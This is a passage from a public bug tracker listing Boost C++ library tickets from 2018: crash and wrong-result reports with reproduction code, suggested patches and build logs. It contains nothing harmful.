#8 0x00007fffd6023213 in boost::serialization::singleton<boost::serialization::extended_type_info_typeid<QFont> >::get_instance () at /opt/boost/include/boost/serialization/singleton.hpp:142 #9 0x00007fffd6022e83 in boost::serialization::singleton<boost::serialization::extended_type_info_typeid<QFont> >::get_const_instance () at /opt/boost/include/boost/serialization/singleton.hpp:156 #10 0x00007fffd6022aca in boost::archive::detail::oserializer<boost::archive::binary_oarchive, QFont>::oserializer (this=0x1003710) at /opt/boost/include/boost/archive/detail/oserializer.hpp:116 #11 0x00007fffd6022744 in boost::serialization::singleton<boost::archive::detail::oserializer<boost::archive::binary_oarchive, QFont> >::get_instance()::singleton_wrapper::singleton_wrapper() (this=0x1003710)

at /opt/boost/include/boost/serialization/singleton.hpp:121

#12 0x00007fffd60227b7 in boost::serialization::singleton<boost::archive::detail::oserializer<boost::archive::binary_oarchive, QFont> >::get_instance () at /opt/boost/include/boost/serialization/singleton.hpp:142 #13 0x00007fffd60166e9 in static_initialization_and_destruction_0 (initialize_p=1, priority=65535) at /opt/boost/include/boost/serialization/singleton.hpp:173 #14 0x00007fffd60167ba in _GLOBALsub_I_archivebuilder.cpp(void) () at /home/misha/Documents/devel/svn/soac/trunk/diagnostic/dcsplugins/development/gui/qt/archivebuilder.cpp:233 #15 0x00007ffff7de640a in call_init.part () from /lib64/ld-linux-x86-64.so.2 #16 0x00007ffff7de6516 in _dl_init () from /lib64/ld-linux-x86-64.so.2 #17 0x00007ffff7dea67f in dl_open_worker () from /lib64/ld-linux-x86-64.so.2 #18 0x00007ffff4d59e5f in _dl_catch_exception () from /lib64/libc.so.6 #19 0x00007ffff7de9f1a in _dl_open () from /lib64/ld-linux-x86-64.so.2 #20 0x00007ffff2c8af96 in dlopen_doit () from /lib64/libdl.so.2 #21 0x00007ffff4d59e5f in _dl_catch_exception () from /lib64/libc.so.6 #22 0x00007ffff4d59eef in _dl_catch_error () from /lib64/libc.so.6 #23 0x00007ffff2c8b685 in _dlerror_run () from /lib64/libdl.so.2 #24 0x00007ffff2c8b051 in dlopen@@GLIBC_2.2.5 () from /lib64/libdl.so.2

Qt libraries are linked dynamically to all parts of my application.

#13554: NULL deference exception in boost::asio::ip::tcp::resolver::results_type

giacomopoz@… — Tue, 01 May 2018 09:27:44 GMT

boost::asio::ip::tcp::resolver::results_type type triggers a NULL dereference exception when calling empty() on a default-initialized instance.

How to reproduce:

instantiate a new boost::asio::ip::tcp::resolver::results_type class instance with the default parameterless constructor
call the empty() method, it should return true
notice the access violation crash triggered

Code example:

#include <boost/asio/ip/tcp.hpp>
int main(int /*argc*/, char** /*argv*/)
{
  boost::asio::ip::tcp::resolver::results_type test = boost::asio::ip::tcp::resolver::results_type();
  if (test.empty())
    printf("ok");
}

Boost version: 1.66 Windows x64 vc141

Issue analysis: empty() is implemented as

bool empty() const BOOST_ASIO_NOEXCEPT
{
  return this->values_->empty();
}

but this->values_ returns NULL when the class is empty. A possible fix could be to NULL-check this->values_ and then call ->empty() (if still needed at all)

bool empty() const BOOST_ASIO_NOEXCEPT
{
  return !this->values_ || this->values_->empty();
}

Current workaround: I would suggest not to use .empty() at all currently but to rely on .begin() == .end() .

Note that even if the code example above looks quite meaningless, .empty() crashes causes issue for example when checking if an address can be resolved using ip::basic_resolver::resolve function. The documentation states "An empty range is returned if an error occurs" so one expects to be able to check if the range is empty.

P.S.: I had links to sources and documentation but the tracker kept saying "Akismet says content is spam". Please fix your tracker.

#13553: intersection gives wrong result

marnix.berg@… — Mon, 30 Apr 2018 14:04:02 GMT

The following polygons result in a wrong intersection:

using point_type = boost::geometry::model::d2::point_xy<double>; typedef boost::geometry::model::ring<point_type, false, true> polygon;

polygon op1, op2;

boost::geometry::read_wkt("POLYGON((7.7058932076134967 -11.523889618379748,8.0348094747518424 0.63492733448631888,7.7720440433489850 0.63492733448631888, 7.7058932076134967 -11.523889618379748))", op1); boost::geometry::read_wkt("POLYGON((2.6206910206017642 -32.773696844382265, 5.5835888947200090 -24.273798818378602, 6.7109368565951772 -20.023839227004206, 7.4191426214038723 -15.773870150408516, 7.7058941612236938 -11.523876267001913, -3.1025600674348395 -11.523582486001384, -3.1025610210450365 -32.773541282571529, 2.6206910206017642 -32.773696844382265))", op2); std::vector<polygon> result; boost::geometry::intersection(op1, op2, result);

result is equal to op1, while op1 is mostly outside op2.

#13551: m_storage may be used uninitialized in this function

lukasz.czajczyk@… — Mon, 30 Apr 2018 09:02:58 GMT

Hi, in 1.66 was the following feature introduced: On newer compilers optional is now trivially-copyable for scalar Ts. This uses a different storage (just T rather than aligned_storage). We require the compiler to support defaulted functions.

Gcc 4.4.7 in C++98 mode is incorrectly recognizes because Boost tries to use tc_optional_base however without C++11 defaulted functions are not working. This is causing boost::optional<unsigned char>::<anonymous>.boost::optional_detail::tc_optional_base<unsigned char>::m_storage’ may be used uninitialized in this function warning.

#13550: Boost foreach library trigger warning in Qt

Mon, 30 Apr 2018 06:46:44 GMT

Since I use clazy I have such warnings:

warning: zero as null pointer constant
    foreach.hpp: 1100:77: note expanded from macro BOOST_FOREACH
    foreach.hpp: 1014:9: note expanded from macro BOOST_FOREACH_CONTAIN
    foreach.hpp: 942:13: note expanded from macro BOOST_FOREACH_SHOULD_COPY

I have a running pull request here: https://github.com/boostorg/foreach/pull/7

#13549: "Failed to register an intel toolset!" despite "iclvars.bat" intel64 ran.

boost@… — Sat, 28 Apr 2018 09:10:37 GMT

Moin Moin.

Despite I ran

"iclvars.bat" intel64

I do receive an.: "Failed to register an intel toolset!" despite Message in "tools\build\src\tools\intel-win.jam" due to.:

if ! [ feature.values <toolset-intel:version> ]

being true (, hence failing). I tried to google the syntax, but did not find any expression-list explaining.:

[ feature.values <toolset-intel:version> ]

Is there a syntax to print out the expressions.: Using.:

ECHO $feature.values ; ECHO $(feature.values) ; ECHO <toolset-intel:version> ; ECHO $(<toolset-intel:version>) ;

just yields.: $feature.values

<toolset-intel:version>

So at least $feature.values does seem to be empty.

But typing in

call "%VT_DLL_DIR%\..\..\..\compilers_and_libraries\windows\bin\iclvars.bat" intel64

bootstrap.bat does compile a functional b2.exe/bjam.exe pair. Does anyone know, what happened here, or can someone privide help(-files) on the syntax used for the if-statement, please. 8⁾⁾⁾

Tschüß,

Michael.

#13548: typo in documentation

howard.gleason@… — Fri, 27 Apr 2018 19:05:22 GMT

https://www.boost.org/doc/libs/1_67_0/libs/regex/doc/html/boost_regex/format/boost_format_syntax.html

Escape Sequences ... \x{DDDD}

Outputs the character whose hexadecimal code point is 0xDDDDD <--too many D

#13547: "warning C6386: Buffer overrun while writing to 'mem': the writable size is 'size+1' bytes, but 'size' bytes might be written..."...->"https://svn.boost.org/trac10/attachment/ticket/13547/#ticket".

boost@… — Fri, 27 Apr 2018 15:03:14 GMT

Moin Moin.

For MSVC I saw a "warning C6386: Buffer overrun while writing to 'mem': the writable size is 'size+1' bytes, but 'size' bytes might be written..."-warning, which I pragma'ed out, according to the attachment, maybe You want to do the same.

Tschüß,

Michael.

P.S.: ->"https://svn.boost.org/trac10/attachment/ticket/13546/#ticket".

#13546: "boost\asio\placeholders.hpp" is missing static modifiers for "boost::arg<1>&error"...

boost@… — Fri, 27 Apr 2018 14:58:41 GMT

Moin Moin.

For MSVC and ICL the fact, that, within an unnamed namespace "boost\asio\placeholders.hpp" is missing static modifiers for "boost::arg<1>&error" yields linker-errors... I did add a change-suggestion.

Tschüß,

Michael.

#13545: Missing SAL-Präfixes for windows-function-imports.

boost@… — Fri, 27 Apr 2018 14:53:45 GMT

Moin Moin. Regarding "boost\winapi\dll.hpp" I wanted to mention, that MSVC and ICL are mourning. The solution seemed to be to add the SAL-Präfixes for windows-function-imports, that MS always adds to its SDK-Headers. Maybe it is possible to amend the file or to skip the declarations, if an according header can be included from the Windows-10-SDK. A am attaching my version.

Tschüß,

Michael.

P.S.: I would have been registering an account in order to verify myself, if I had seen an according link.

#13544: remove_vertex broken for adjacency_list

Fri, 27 Apr 2018 12:59:47 GMT

Create a graph with three nodes, with the third node having an edge to the first node. Calling remove_vertex on the second node will then corrupt the m_property attribute of the edge of the third node.

The graph template parameters are as follows. I'm not including the property classes' content.

    typedef boost::adjacency_list<boost::setS, // Container type for edges
                                  boost::vecS, // Container type for vertices
                                  boost::directedS, // Param for
                                  // directed/undirected/bidirectional
                                  // graph
                                  Vertex, // Type for the vertices
                                  Edge    // Type for the edges
                                  > Graph_t;

The culprit is the following method, in your adjacency_list.hpp.

      template <class EdgeList, class vertex_descriptor>
      inline void
      reindex_edge_list(EdgeList& el, vertex_descriptor u,
                        boost::disallow_parallel_edge_tag)
      {
        typename EdgeList::iterator ei = el.begin(), e_end = el.end();
        while (ei != e_end) {
          typename EdgeList::value_type ce = *ei;
          ++ei;
          if (ce.get_target() > u) {
            el.erase(ce);
            --ce.get_target();
            el.insert(ce);
          }
        }
      }

When initializing the variable ce, its m_property field, which is a unique_ptr, is stolen from *ei, setting ei's field to null. If get_target is not bigger than u, ce is not re-inserted in el, leaving the old copy with the null pointer.

Below is a suggested and tested fix.

      template <class EdgeList, class vertex_descriptor>
      inline void
      reindex_edge_list(EdgeList& el, vertex_descriptor u,
                        boost::disallow_parallel_edge_tag)
      {
        typename EdgeList::iterator ei = el.begin(), e_end = el.end();
        while (ei != e_end) {
          if (ei->get_target() > u) {
            typename EdgeList::value_type ce = *ei;
            ++ei;
            el.erase(ce);
            --ce.get_target();
            el.insert(ce);
          }
          else
          {
            ++ei;
          }
        }
      }

#13543: documentation for allocation_command shows the wrong return type

matt.liberty@… — Thu, 26 Apr 2018 17:06:47 GMT

The documentation at

https://www.boost.org/doc/libs/1_59_0/doc/html/interprocess/managed_memory_segments.html#interprocess.managed_memory_segments.managed_memory_segment_advanced_features.managed_memory_segment_expand_in_place

shows the return type for allocation_command is "std::pair<T *, bool>". The code doesn't match and just returns a "T *". The example also disagrees and shows:

std::size_t * ret = managed_shm.allocation_command

The pair would actually be nicer but either the code or the docs need updating. The same problem appears in later versions.

#13539: Boost Polygon - MSVC 2017 - Ambiguous call to size() function

Wed, 25 Apr 2018 10:54:09 GMT

We are currently switching our compiler from MSVC 2012 to MSVC 2017. Now I have problems compiling out application using Boost Polygon. I get the following error:

c:\khand\win64\include\boost\polygon\polygon_traits.hpp(606): error C2668: "boost::polygon::size": ambiguous call to overloaded function c:\khand\win64\include\boost\polygon\polygon_traits.hpp(467): note: could be "unsigned int64 boost::polygon::size<polygon_type>(const T &)"

with [

polygon_type=DESIGN::GTL::Polygon, T=DESIGN::GTL::Polygon

]

C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\VC\Tools\MSVC\14.13.26128\include\xutility(1611): note: or "unsigned int64 std::size<polygon_type>(const _Container &)" [bei der Verwendung der argumentbezogenen Suche gefunden]

with [

polygon_type=DESIGN::GTL::Polygon, _Container=DESIGN::GTL::Polygon

]

In size() function in polygon_traits.hpp conflicts with the now in C++ standard contained std::size().

I could solve the problem by using the completed name boost:polygon::size() in polygon_traits.hpp. Please see appended diff.

#13538: Issue in addressof.hpp?

Wed, 25 Apr 2018 01:19:18 GMT

I'm trying to build pCloudCC and not sure if this is a Boost problem or a pCloud problem:

[ 40%] Building CXX object CMakeFiles/pcloudcc_lib.dir/pclsync_lib.cpp.o In file included from /root/build/console-client-master/pCloudCC/pclsync_lib.cpp:30:0: /root/build/console-client-master/pCloudCC/lib/pclsync/pcompat.h:95:0: warning:"_GNU_SOURCE" redefined [enabled by default]

#define _GNU_SOURCE

<command-line>:0:0: note: this is the location of the previous definition In file included from /usr/local/include/boost/smart_ptr/detail/local_sp_deleter.hpp:20:0,

from /usr/local/include/boost/smart_ptr/shared_ptr.hpp:1158, from /usr/local/include/boost/shared_ptr.hpp:17, from /root/build/console-client-master/pCloudCC/pclsync_lib.cpp:45:

/usr/local/include/boost/smart_ptr/detail/local_counted_base.hpp: In member function ‘void boost::detail::local_counted_base::add_ref()’: /usr/local/include/boost/smart_ptr/detail/local_counted_base.hpp:67:49: error: builtin_assume’ was not declared in this scope

builtin_assume( local_use_count_ >= 1 );

In file included from /usr/local/include/boost/smart_ptr/detail/sp_counted_impl.hpp:29:0,

from /usr/local/include/boost/smart_ptr/detail/shared_count.hpp:30, from /usr/local/include/boost/smart_ptr/shared_ptr.hpp:28, from /usr/local/include/boost/shared_ptr.hpp:17, from /root/build/console-client-master/pCloudCC/pclsync_lib.cpp:45:

/usr/local/include/boost/core/addressof.hpp: In instantiation of ‘T* boost::addressof(T&) [with T = int (*)(_IO_FILE*)]’: /usr/local/include/boost/smart_ptr/detail/sp_counted_impl.hpp:182:98: required from ‘void* boost::detail::sp_counted_impl_pd<P, D>::get_local_deleter(const sp_typeinfo&) [with P = _IO_FILE*; D = int (*)(_IO_FILE*); boost::detail::sp_typeinfo = std::type_info]’ /root/build/console-client-master/pCloudCC/pclsync_lib.cpp:304:1: required from here /usr/local/include/boost/core/addressof.hpp:40:33: error: ‘builtin_addressof’ was not declared in this scope

return builtin_addressof(o);

#13537: serializable unordered_map has incorrect template signature

Tue, 24 Apr 2018 22:23:10 GMT

In boost/serialization/unordered_map.hpp the template signature looks like this:

template<
    class Archive,
    class Key,
    class HashFcn,
    class EqualKey,
    class Allocator
>

Whereas it should be:

template<
    class Archive,
    class Key,
    class Type,
    class HashFcn,
    class EqualKey,
    class Allocator
>

The consequence is that if a custom allocator is specified then the serialization will cause compiler errors due to there being insufficient template parameters.

#13535: xpressive miss captured groups name while assign a match_results object to another.

Mon, 23 Apr 2018 10:48:24 GMT

example:

cmatch  match;
cmatch  mat2;
cregex rex = tcompile("(?P<ErrorCode>\\d{5})");
if( regex_match("error10205",match,rex) )
{
	mat2 = match;
	string strErr = mat["ErrorCode"];  //  Here will not get the match string
}

It's cause by funciton: void swap(match_results<BidiIter> &that)

in match_results.hpp file.

I had fix the bug, by adding

this->named_marks_.swap(that.named_marks_);

after line 668.

#13534: icu support windows7 x64 failed

stoneGuard — Fri, 20 Apr 2018 21:44:14 GMT

I'm trying to build any boost x64 version with icu support, but have't reached success. Built both version of icu 32 and 64 bit. I tried following steps: in order to find icu dlls I set

set PATH=c:/icu/bin64;c:/icu/bin;%PATH%
bjam adress-model=64 sICU_PATH=c:/icu --toolset=msvc-14.0 ; got

has_icu builds : no
icu(64) : yes

What should I think of it? By checking resulting libraries, I realized that support wasn't enabled.

result: icu support DISABLED

2.bjam adress-model=32 sICU_PATH=c:/icu --toolset=msvc-14.0 ; got

has_icu builds : yes
icu(64) : yes

By checking resulting libraries, I found that support was enabled.

result: icu support ENABLED

any ideas?

#13530: str##A##B ?

anonymous — Fri, 20 Apr 2018 06:34:58 GMT

#define BOOST_LIB_NAME boost_python##PY_MAJOR_VERSION##PY_MINOR_VERSION

1>LINK : fatal error LNK1104: 无法打开文件“boost_pythonPY_MAJOR_VERSIONPY_MINOR_VERSION-vc141-mt-gd-x64-1_67.lib”

#13526: Boost.Interprocess named_semaphore fail with C#

janmkubalek@… — Tue, 17 Apr 2018 12:49:45 GMT

I am using Boost.Interprocess named semaphore under Windows.

The problem is with shared memory if I use marshalling between C# and C code (C wrapper around C++ code). The segfault occured.

I found the place where the problem occured and post a ticket to stackowerflow. https://stackoverflow.com/questions/49383042/boost-interprocess-v1-66-get-bootstamp-segfault-with-c-sharp

No one response so I decided report a bug(?).

#13524: Parameter mismatch on make_controlled factory (incorrectly constructed controlled_runge_kutta)

Mon, 16 Apr 2018 15:41:21 GMT

While constructing a controlled_runge_kutta (might also affect other) using the make_controlled factory, the constructor of controlled_runge_kutta gets passed the wrong parameters. The factory calls the constructor with (abs_error, rel_error, stepper), instead of the actual parameters of the constructor (error_checker, step_adjuster, stepper). (see "boost/numeric/odeint/stepper/generation/make_controlled.hpp:44" and "boost/numeric/odeint/stepper/controlled_runge_kutta.hpp:247") This yields no compile error, since the respective class has the type of these paramerts as templates and the constructors of the actual expected types have all default parameters, without being explicit. This leads to the practically invisible error, where the passed values construct the types, expected by the constructor of controlled_runge_kutta, by populating the first parameter each (effectivly using these constructors as conversion constructors).

Note: This leads to the maximal step size being set to the relative error limit and the relative error limit being set to the default value of 10^-6. Since one usually sets the relative error limit to a rather low value (like the default 10^-6), this causes the controller to split usually small enough steps into even smaller, thus thousands of, substeps, drastically increasing computation time.

I was able to notice this behavior while debugging why my calculation of the controlled runge kutta uses unreasonably many substeps, while the constant step size runge kutta got a error estimated much lower then the error limit of the controller while doing the whole interval in only one step.

#13522: Invalid empty result using boost::geometry::difference

lehnert@… — Mon, 16 Apr 2018 09:43:01 GMT

Hello,

executing the following polygon difference operation sequence produces an obviously incorrect empty result. The first difference produces a (possibliy) valid result with a spike which might be the actual problem. The third difference with the previous result generates an empty result. The intermediate difference is required the reproduce this behaviour. Without it the result of the third difference is correct. Removing the spike from step one also solves the problem.

Code to reproduce this:

using point_type = boost::geometry::model::d2::point_xy<double>; using polygon = boost::geometry::model::polygon<point_type>; using multi_polygon = boost::geometry::model::multi_polygon<polygon>;

BoostGeometryBridge::Polygon2d_t Right[3]; BoostGeometryBridge::MultiPolygon2d_t Left[4];

boost::geometry::read_wkt("MULTIPOLYGON(((0.747399249902131135 -0.974867609298678328,0.744720465461241043 -0.984866128861542012,0.737400169703072983 -0.992186849248596014,0.72740024741975795 -0.994866631198703,0.169444950081761997 -0.994882813404528998,0.156263880981993009 -0.992649068186161054,0.144555091741144004 -0.986196591543298973,0.135626528763234999 -0.976246166252738967,0.0970341390445131069 -0.91515608670535098,0.0527935015388215009 -0.831873652851741974,0.0149278636239085008 -0.745505885364162957,-0.016349202846282801 -0.656539920475841976,-0.0408612872409169006 -0.56547754891590496,-0.0584701351532070993 -0.472832385681689005,-0.0690764281904878985 -0.379126973119241983,-0.0726203441553292944 -0.284889833651171986,-0.0690818944579700972 -0.19065248877542601,-0.058481036857029399 -0.0969464611485150035,-0.0408775628926898033 -0.00430027666216776031,-0.0163707606471800993 0.086763516577464006,0.0149011452653820004 0.17573129555438699,0.0527617733210207981 0.262101259307556012,0.0969975799226773933 0.345386259216249991,0.135586426022915013 0.406478577227274984,0.144514411807557003 0.416429520405822984,0.156222826750318011 0.422882676210660002,0.169403766258661992 0.42511718599825099,0.727359063596658029 0.425133368204076989,0.737359141304932963 0.422454166307816015,0.744679861691986966 0.415133870549649009,0.747359067455327319 0.405136098375181386,0.747329770868999987 1.43513394783313997,2.74732976755064007 1.43524915817017007,2.74708725756255978 5.64524915118547987,-2.74750006237453981 1.25999999251885009,-2.74749997944197011 -4.43500000748115042,0.747500020558034994 -4.43500000604748035,0.747399249902131135 -0.974867609298678328),(-2.49638915854706989 0.152811596222504009,-1.75719536363572004 1.80498971421238008,-1.01782283569549992 1.4741902811305001,-1.75234596398119002 -0.167548384003570999,-1.76762179055725999 -0.173243028570225999,-2.49638915854706989 0.152811596222504009)))", Left[0]);

boost::geometry::read_wkt("POLYGON((-1.57590744074229994 2.19505211912179998,-2.74750006237453981 1.25999999251885009,-2.74750004134586989 -0.184043917378418992,-1.76796680349592994 -0.184043903114115004,-1.74492840055212994 -0.175455463366190001,-1.00461083616106994 1.47923439340570995,-1.57590744074229994 2.19505211912179998))", Right[0]); boost::geometry::read_wkt("POLYGON((2.74708725756255001 5.64524915118547987, 1.48149582377297007 4.63517624723808019, 2.7471454369183701 4.6352491528611397, 2.74708725756255001 5.64524915118547987))", Right[1]); boost::geometry::read_wkt("POLYGON((-2.74749997944197011 -4.43500000748115042, -2.74750006237453981 1.25999999251885009, -3.11250006493298015 1.43568817247817004, -3.11249997689355018 -4.61000000763086959, -2.74749997944197011 -4.43500000748115042))", Right[2]);

for(int i = 0; i < 3; i++) {

boost::geometry::difference(Left[i], Right[i], Left[i + 1]);

}

Final result in Left[3] is empty.

#13520: Cant add capture-by-move lambda to channel

kreuzerkrieg@… — Sun, 15 Apr 2018 14:06:50 GMT

The following code isnt working if the test is move-only

using task = std::function<void()>;
boost::fibers::buffered_channel<task> ch{1024};
test tst;
ch.push([t{std::move(tst)}]() { t.print(); });

Full repro: http://coliru.stacked-crooked.com/a/88dec3ea76a41ea1

#13519: Invalid result for boost::geometry::difference

lehnert@… — Fri, 13 Apr 2018 15:21:42 GMT

Hello,

executing the following polygon difference operation produces an obviously incorrect result. From a relatively large face a small face is subtracted and the result is very small.

Code snippet:

using point_type = boost::geometry::model::d2::point_xy<double>; using polygon = boost::geometry::model::polygon<point_type>; using multi_polygon = boost::geometry::model::multi_polygon<polygon>;

polygon op1, op2; multi_polygon result;

boost::geometry::read_wkt("MULTIPOLYGON(((-1.54499301090586272 0.996130119403307535, -1.54499299947730218 0.99761525234323567, -1.54655249947779994 0.995186041738558957, -1.54499301090586272 0.996130119403307535)), ((-1.54655249947779994 0.995186041738558957, -1.54499301719928761 0.995312293499367451, -1.54499301635595665 0.995421883734666779, -1.54655249947779994 0.995186041738558957)), ((-1.5466074994591299 1.08624204173854011, -1.54631431516927331 1.08619819902499004, -1.54633399044383202 1.08621614521949872, -1.5466074994591299 1.08624204173854011)), ((-1.5466074994591299 1.08624204173854011, -1.54499299946018764 1.08107828103308101, -1.54499301135365474 1.08339600649103418, -1.5466074994591299 1.08624204173854011)), ((-1.53918049946492008 1.05799404173705991, -1.5466074994591299 1.08624204173854011, -1.54634340852929708 1.08622473535414787, -1.99999999954877006 1.5, -1.99999999954877006 0.5, -1.54499301954877 0.995006979999999985, -1.54499301770602582 0.995246443249784174, -1.54655249947779994 0.995186041738558957, -1.54499299947244828 1.02129648988327593, -1.5449929994644851 1.06013330832250108, -1.5466074994591299 1.08624204173854011, -1.54499299946029955 1.08053288029024164, -1.53891949946469997 1.05905604173701007, -1.53918049946492008 1.05799404173705991)))", op1);

boost::geometry::read_wkt("POLYGON((-1.53581949946317997 1.06649704173632998, -1.5466074994591299 1.08624204173854011, -1.53723249946403007 1.06231704173661989, -1.53581949946317997 1.06649704173632998))", op2);

boost::geometry::difference(op1, op2, result);

#13517: Boost Small Container chokes MSVC+NVCC CUDA 9.1

kandel3@… — Thu, 12 Apr 2018 06:36:18 GMT

I wanted to file a bug to a problem I had a year ago that seems to be present in newer version of boost (https://stackoverflow.com/questions/42308279/is-boosts-small-vector-compatible-with-nvcc-8)

Basically nvcc chokes when you include small_vector

Steps to reproduce

One line program in kernel.cu

#include <boost/container/small_vector.hpp> look ma, no main

Build with typical settings, on my machine:

1>------ Build started: Project: boost_test, Configuration: Debug x64 ------ 1> Compiling CUDA source file kernel.cu... 1> 1> C:\Users\Misha\documents\visual studio 2015\Projects\boost_test\boost_test>"C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\bin\nvcc.exe" -gencode=arch=compute_30,code=\"sm_30,compute_30\" --use-local-env --cl-version 2015 -ccbin "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\x86_amd64" -x cu -I"C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\include" -I"C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\include" -G --keep-dir x64\Debug -maxrregcount=0 --machine 64 --compile -cudart static -g -DWIN32 -DWIN64 -D_DEBUG -D_CONSOLE -D_MBCS -Xcompiler "/EHsc /W3 /nologo /Od /FS /Zi /RTC1 /MDd " -o x64\Debug\kernel.cu.obj "C:\Users\Misha\documents\visual studio 2015\Projects\boost_test\boost_test\kernel.cu" 1> kernel.cu 1>C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): error C2332: 'struct': missing tag name 1> C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(608): note: see reference to class template instantiation 'boost::container::small_vector<T,N,Allocator>' being compiled 1>C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): warning C4346: 'boost::container::vector<T,boost::container::small_vector_allocator<Allocator>>::initial_capacity_t': dependent name is not a type 1> C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): note: prefix with 'typename' to indicate a type 1>C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): error C3646: 'initial_capacity_t': unknown override specifier 1>C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): error C3254: 'boost::container::small_vector<T,N,Allocator>': class contains explicit override 'initial_capacity_t' but does not derive from an interface that contains the function declaration 1>C:\Boost\include\boost-1_66\boost/container/small_vector.hpp(484): error C2838: 'initial_capacity_t': illegal qualified name in member declaration 1>c:\users\misha\appdata\local\temp\tmpxft_0000af9c_00000000-6_kernel.cudafe1.stub.c(2): warning C4103: alignment changed after including header, may be due to missing #pragma pack(pop) 1>tmpxft_0000af9c_00000000-6_kernel.cudafe1.stub.c(1): warning C4103: alignment changed after including header, may be due to missing #pragma pack(pop) 1>C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V140\BuildCustomizations\CUDA 9.1.targets(707,9): error MSB3721: The command ""C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\bin\nvcc.exe" -gencode=arch=compute_30,code=\"sm_30,compute_30\" --use-local-env --cl-version 2015 -ccbin "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\x86_amd64" -x cu -I"C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\include" -I"C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1\include" -G --keep-dir x64\Debug -maxrregcount=0 --machine 64 --compile -cudart static -g -DWIN32 -DWIN64 -D_DEBUG -D_CONSOLE -D_MBCS -Xcompiler "/EHsc /W3 /nologo /Od /FS /Zi /RTC1 /MDd " -o x64\Debug\kernel.cu.obj "C:\Users\Misha\documents\visual studio 2015\Projects\boost_test\boost_test\kernel.cu"" exited with code 2. ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

#13516: crash in boost regex

Mon, 09 Apr 2018 13:53:50 GMT

Using a specific search and replace expression containing named tags causes boost regex to crash. The pull request at https://github.com/boostorg/regex/pull/60/commits/124dd8d0d9c636436115ec988058a551c5fa39eb turns the crash into a regex exception. Attaching the search/replace expression and the file they are used on.

#13515: async_pipe::async_read_some returns zero read size if -O is used

Fri, 06 Apr 2018 14:20:16 GMT

Hi there,

We are developing coroutine based application which sits mostly on some sort of I/O. Decided to go with coroutine based approach with boost 1.66 and asio/beast/process libs. While doing some internal POC we ran into issue with retrieving size of data obtained through pipe.

#include <boost/asio.hpp>
#include <boost/asio/spawn.hpp>
#include <boost/process.hpp>
#include <chrono>
#include <iostream>
void test_process()
{
  static const char* path = "./dataspit.py";
  static const char* interpreter = "python3";
  std::cout << "Hello from streamer2\n";
  namespace asio = boost::asio;
  namespace process = boost::process;
  namespace chrono = std::chrono;
  asio::io_context ioc;
  asio::spawn(ioc,
    [&ioc](asio::yield_context yield)
    {
      process::async_pipe pipe{ioc};
      auto child = process::child{process::search_path(interpreter), path,
                                  process::std_out > pipe};
      std::array<char, 4096> buffer{0};
      std::cout <<  "Buffer state: " << (int)buffer[0] << (int)buffer[1] << std::endl;
      boost::system::error_code read_ec;
      do
      {
        auto timePoint = chrono::system_clock::now();
        std::cout << timePoint.time_since_epoch().count() << ": Sleeping\n";
        std::size_t size = pipe.async_read_some(asio::buffer(buffer), yield[read_ec]);
        if (read_ec) {
            std::cerr << read_ec.message() << std::endl;
            break;
        }
        timePoint = chrono::system_clock::now();
        std::cout << timePoint.time_since_epoch().count() << ": Read " << size << " bytes\n";
        std::cout <<  "Buffer state: " << (int)buffer[0] << (int)buffer[1] << std::endl;
      }
      while (read_ec != boost::asio::error::eof);
      child.wait();
    }
  );
  ioc.run();
  std::cout << "Farewell from streamer2\n";
}
int main(int argc, char** argv)
{
  test_process();
  return 0;
}

This code works fine when no compiler optimizations are used. As soon as its compiled with -Os or any numbered -O type.

pipe.async_read_some(asio::buffer(buffer), yield[read_ec]);

starts returning 0. Buffer contents are modified though. Callback based approach yields same result.

...
readv(6, [{"57757488835088650590974423544437"..., 4096}], 1) = 1030
write(1, "1523018074402113597: Read 0 byte"..., 341523018074402113597: Read 0 bytes) = 34
write(1, "Buffer state: 5355\n", 19Buffer state: 5355)    = 19
write(1, "1523018074402457408: Sleeping\n", 301523018074402457408: Sleeping) = 30
readv(6, 0x83c2168, 1)                  = -1 EAGAIN (Resource temporarily unavailable)
epoll_wait(4, [{EPOLLIN, {u32=138163408, u64=138163408}}], 128, -1) = 1
readv(6, [{"15827357453760420053575823774839"..., 4096}], 1) = 546
write(1, "1523018076807802498: Read 0 byte"..., 341523018076807802498: Read 0 bytes) = 34
write(1, "Buffer state: 4953\n", 19Buffer state: 4953)    = 19
write(1, "1523018076808233410: Sleeping\n", 301523018076808233410: Sleeping) = 30
readv(6, 0x83c2168, 1)                  = -1 EAGAIN (Resource temporarily unavailable)
epoll_wait(4, [{EPOLLIN, {u32=138163408, u64=138163408}}], 128, -1) = 1
readv(6, [{"66365484273136085944223051047033"..., 4096}], 1) = 814
write(1, "1523018079517434883: Read 0 byte"..., 341523018079517434883: Read 0 bytes) = 34
write(1, "Buffer state: 5454\n", 19Buffer state: 5454)    = 19
write(1, "1523018079517782099: Sleeping\n", 301523018079517782099: Sleeping) = 30
readv(6, 0x83c2168, 1)                  = -1 EAGAIN (Resource temporarily unavailable)
...

Epoll waits as expected, readv seems to return length as well. Looks like some kind of reordering issue.

Tested this behavior on ubuntu 14.04/16.04 in 32/64bit modes on using stock gcc, all ran in docker containers within ubuntu 16.04 host.

Issue applies to boost 1.66 for sure, tested also 1.65 and 1.67 beta on ubuntu 14.04 32 bit. Issue is there as well.

Complete sample code in attachments.

I'd be grateful for some notification if you find root cause and possible patch. I'd like to apply such to our boost sources.

Best Regards, Tomasz Jonak

#13514: can not build against boost 1.66.0 with MSVC 2015 due to range/concepts.hpp

Fri, 06 Apr 2018 13:32:57 GMT

